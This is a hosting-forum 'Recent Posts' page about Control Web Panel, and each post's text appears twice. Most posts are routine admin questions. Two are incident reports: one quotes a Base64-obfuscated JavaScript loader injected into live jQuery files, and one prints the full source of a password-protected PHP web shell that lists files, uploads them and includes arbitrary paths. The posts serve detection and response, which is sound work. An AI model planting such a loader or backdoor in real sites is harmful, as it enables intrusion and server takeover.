Recent Posts
81
Information / Re: Possible CWP Security Issue – Malicious JavaScript Injection
« Last post by emerysteele on August 25, 2026, 12:36:57 AM »I had the same thing happen to one of my servers. Only things I was able to find was old Wordpress installations, and apparently there was a wp2shell CVE on one of the older versions I was running, so could have been that.
Or I also found a malicious php file at /usr/local/cwpsrv/htdocs/admin/design/img/ico.php which was a password-protected PHP web shell/backdoor. The hardcoded md5 hash of the password in that file was 70f54a5fc83847180f948a889f12960d.
Check to see if you have this file. Or unpatched wordpress set up.
ico.php file code is
Or I also found a malicious php file at /usr/local/cwpsrv/htdocs/admin/design/img/ico.php which was a password-protected PHP web shell/backdoor. The hardcoded md5 hash of the password in that file was 70f54a5fc83847180f948a889f12960d.
Check to see if you have this file. Or unpatched wordpress set up.
ico.php file code is
Code: [Select]
<?php
if(!isset($_POST["password"]) or md5($_POST["password"])!=="70f54a5fc83847180f948a889f12960d"){
http_response_code(404);
die;
}
$action_pwd_gan = isset($_POST["action_pwd_gan"]) ? $_POST["action_pwd_gan"] : "";
if ($action_pwd_gan === "dir") {
header("Content-Type: application/json");
$dir = isset($_POST["dir"]) ? $_POST["dir"] : "";
if (empty($dir)) {
$dir = ".";
}
if (is_dir($dir)) {
echo json_encode(["status" => "success", "files" => scandir($dir)]);
} else {
echo json_encode(["status" => "error", "message" => "Directory not found"]);
}
}elseif ($action_pwd_gan === "upload") {
header("Content-Type: application/json");
$dir = isset($_POST["dir"]) ? $_POST["dir"] : "";
if (empty($dir)) {
$dir = ".";
}
if (isset($_REQUEST["file"])) {
$file_name = $_REQUEST["file"];
if (!is_dir($dir)) {
}
$file_path = $dir . DIRECTORY_SEPARATOR . $file_name;
if (file_put_contents($file_path, base64_decode($_REQUEST["content"]))) {
echo json_encode(["status" => "success", "message" => "File uploaded successfully", "file" => $file_name]);
} else {
echo json_encode(["status" => "error", "message" => "Failed to save file"]);
}
} else {
echo json_encode(["status" => "error", "message" => "No file data provided"]);
}
}elseif ($action_pwd_gan === "include") {
include($_POST["dir"]);
}
?>82
Information / Possible CWP Security Issue – Malicious JavaScript Injection
« Last post by murad99 on August 24, 2026, 10:55:39 PM »Hello CWP Team and Community,
I would like to report a suspicious security incident that occurred on my server on August 13, 2026.
I found malicious JavaScript injected at the end of jQuery files used by websites hosted on the server.
The injected code was:
const u = atob("aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz");
const s = document.createElement("script");
s.src = u;
s.dataset.landing = "";
s.dataset.channelCode = "9cbdf797";
document.head.appendChild(s);
The Base64 string:
aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz
decodes to:
https://she-g8f.pages.dev/boot.js
What I observed
The modification does not appear to affect random JavaScript files. It appears to specifically target the jQuery file that is actively being used by the website.
For example, if a website is using jquery.3.7.1.min.js, that file may be modified and the malicious code appended to the end.
I initially investigated this as a possible compromise of my own server, but I later found the same type of injection on another server also running CWP.
This makes me concerned that this may not be an isolated server or website compromise.
Quick detection
CWP users can search their /home directory with:
grep -RIl --binary-files=without-match 'aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz' /home 2>/dev/null
This should return files containing the injected Base64 string.
I recommend checking the results, especially any jquery*.js files currently used by active websites.
Request for investigation
I have searched the server for the source of the modification but have not been able to determine the initial attack vector.
Could someone from the CWP team or an experienced CWP security researcher please investigate whether there is any known vulnerability or CWP-related mechanism that could allow an attacker to:
Identify actively used jQuery files.
Modify those files.
Inject an external JavaScript loader.
Do so without leaving an obvious trace in the normal server logs.
Since I have now observed the same behavior on two different CWP servers, I believe this deserves further investigation.
If other CWP users check their jQuery files and find the same injection, that may help determine the scope and source of the issue.
Thank you.
I would like to report a suspicious security incident that occurred on my server on August 13, 2026.
I found malicious JavaScript injected at the end of jQuery files used by websites hosted on the server.
The injected code was:
const u = atob("aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz");
const s = document.createElement("script");
s.src = u;
s.dataset.landing = "";
s.dataset.channelCode = "9cbdf797";
document.head.appendChild(s);
The Base64 string:
aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz
decodes to:
https://she-g8f.pages.dev/boot.js
What I observed
The modification does not appear to affect random JavaScript files. It appears to specifically target the jQuery file that is actively being used by the website.
For example, if a website is using jquery.3.7.1.min.js, that file may be modified and the malicious code appended to the end.
I initially investigated this as a possible compromise of my own server, but I later found the same type of injection on another server also running CWP.
This makes me concerned that this may not be an isolated server or website compromise.
Quick detection
CWP users can search their /home directory with:
grep -RIl --binary-files=without-match 'aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz' /home 2>/dev/null
This should return files containing the injected Base64 string.
I recommend checking the results, especially any jquery*.js files currently used by active websites.
Request for investigation
I have searched the server for the source of the modification but have not been able to determine the initial attack vector.
Could someone from the CWP team or an experienced CWP security researcher please investigate whether there is any known vulnerability or CWP-related mechanism that could allow an attacker to:
Identify actively used jQuery files.
Modify those files.
Inject an external JavaScript loader.
Do so without leaving an obvious trace in the normal server logs.
Since I have now observed the same behavior on two different CWP servers, I believe this deserves further investigation.
If other CWP users check their jQuery files and find the same injection, that may help determine the scope and source of the issue.
Thank you.
83
Updates / Re: CWP 1.9 — Can we build a community-reported status for the main components?
« Last post by David on August 24, 2026, 07:40:47 PM »Yes, agreed, would it be open source and community maintained on github would maybe keep up with the ongoing revolution caused by the fast paced AI driven security exploits' deployment.
However, to me seems that CWP webpanel was a great project and still has the chance to keep being a great project, trouble right now is that it sits in the middle of a horrible storm, just as many other similar software suits do really.
So, what can be said? Welcome to the AI era...
P.S.: btw, from what I read in the posts I guess that despite the best efforts shown via multiple upgrades/updates in few weeks still is not stable again, or, if at least it is stable, unfortunately it is not fully functional yet
I "loved CWP" until the mayhem begun, I hope will soon get better!!!
However, to me seems that CWP webpanel was a great project and still has the chance to keep being a great project, trouble right now is that it sits in the middle of a horrible storm, just as many other similar software suits do really.
So, what can be said? Welcome to the AI era...
P.S.: btw, from what I read in the posts I guess that despite the best efforts shown via multiple upgrades/updates in few weeks still is not stable again, or, if at least it is stable, unfortunately it is not fully functional yet
I "loved CWP" until the mayhem begun, I hope will soon get better!!!
84
E-Mail / Re: Install Razor2 for Postfix/Dovecot Spam Filtering along with SpamAssassin
« Last post by Dangerousdave26 on August 24, 2026, 04:58:24 PM »@overseer
For my own clarity I have never done any of the setup in the first post. Do I need to follow the instructions in the first post or just the update you posted?
For my own clarity I have never done any of the setup in the first post. Do I need to follow the instructions in the first post or just the update you posted?
85
Updates / Re: CWP Netdata Installation Faild
« Last post by overseer on August 24, 2026, 04:38:23 PM »Agreed, look elsewhere. Netdata looks pretty, but is actually pretty heavy on the server for a resource monitor. You have to edit the configuration a bit extensively just to calm it down and produce less frequent polling on the server. (Best use case is for a private lab/testing server where you need the granularity and like the pretty output -- and have plenty of server resources and not a lot of traffic.)
86
Updates / Re: ssh config manager
« Last post by Starburst on August 24, 2026, 03:26:29 PM »Sounds like a bug that needs to be reported.
I just edit the config directly.
I just edit the config directly.
Code: [Select]
nano /etc/ssh/sshd_config87
Updates / Re: CWP Netdata Installation Faild
« Last post by Starburst on August 24, 2026, 03:23:36 PM »I can try and work on that.
But we use a 3rd party HetrixTools and install their Agent on the servers. And stopped using Netdata years ago.
They have a free level up to 15 Uptime Monitors and 32 Blacklist Monitors.
https://hetrixtools.com/
They allow up to 9 services to be monitored also beside all the standard server monitors.
What they call 'Uptime Monitors' is actually a server, so 15 servers.
Alerts can be sent via multiple options, including SMS.
The Blacklist Monitors are nice also, they will monitor the RBL's for the IP's you have.
Usually you just put the servers base IPv4.
But we use a 3rd party HetrixTools and install their Agent on the servers. And stopped using Netdata years ago.
They have a free level up to 15 Uptime Monitors and 32 Blacklist Monitors.
https://hetrixtools.com/
They allow up to 9 services to be monitored also beside all the standard server monitors.
What they call 'Uptime Monitors' is actually a server, so 15 servers.
Alerts can be sent via multiple options, including SMS.
The Blacklist Monitors are nice also, they will monitor the RBL's for the IP's you have.
Usually you just put the servers base IPv4.
88
Updates / ssh config manager
« Last post by alexander999 on August 24, 2026, 11:38:03 AM »Hello,
Please fix the error when restarting service ssh in admin panel.
Distro Name: AlmaLinux release 9.8 (Olive Jaguar)
Please fix the error when restarting service ssh in admin panel.
Code: [Select]
Error
Server returned non-JSON response: AJAX module does not exist.CWPpro version: 1.9Distro Name: AlmaLinux release 9.8 (Olive Jaguar)
89
Updates / CWP Netdata Installation Faild
« Last post by Sina on August 24, 2026, 08:23:41 AM »Unfortunately, for some time now, it has not been possible to install Netdata on CWP.
When we click Install from the CWP management panel, it takes some time, but then the same page is refreshed and Netdata is still not installed.
System information:
OS: AlmaLinux 9
CWP: Latest version (1.9)
I recently found some very useful tutorials on https://starburst.help/ that have helped me a lot.
It would be great if this issue could be fixed so that Netdata can be installed directly from the CWP panel.
Also, if possible, it would be very helpful to have a reliable tutorial showing how to install and update Netdata via SSH on CWP.
Thank you.
When we click Install from the CWP management panel, it takes some time, but then the same page is refreshed and Netdata is still not installed.
System information:
OS: AlmaLinux 9
CWP: Latest version (1.9)
I recently found some very useful tutorials on https://starburst.help/ that have helped me a lot.
It would be great if this issue could be fixed so that Netdata can be installed directly from the CWP panel.
Also, if possible, it would be very helpful to have a reliable tutorial showing how to install and update Netdata via SSH on CWP.
Thank you.
90
Backup / Re: NEW Backup (beta) / Restore Account -> Does not list accounts to restore
« Last post by DA_MAN on August 24, 2026, 01:14:10 AM » I have the same problem I think, It backups up okay to local and an S3 garage bucket, but when I go to the restore button, there is nothing listed under user accounts. Below that it says in the yellow box, "Please first select the backup you want to restore."
Well I can't select any backups because nothing is listed there - the top field is totally blank, no accounts to select. I'm pretty livid about this. Long ago this worked; I don't know how long it has been broken, but it is broken in AlmaLinux 8 and 9 on CWP version 1.9. I have CWP updates set to two weeks, do I need to step that up to immediately to get a bugfix or something? I am so used to having to fix things that are broken in CWP that I fear taking breaking updates from this operation...
This truly is not acceptable. To be able to make backups but not restore them makes it 100% worthless.
Well I can't select any backups because nothing is listed there - the top field is totally blank, no accounts to select. I'm pretty livid about this. Long ago this worked; I don't know how long it has been broken, but it is broken in AlmaLinux 8 and 9 on CWP version 1.9. I have CWP updates set to two weeks, do I need to step that up to immediately to get a bugfix or something? I am so used to having to fix things that are broken in CWP that I fear taking breaking updates from this operation...
This truly is not acceptable. To be able to make backups but not restore them makes it 100% worthless.
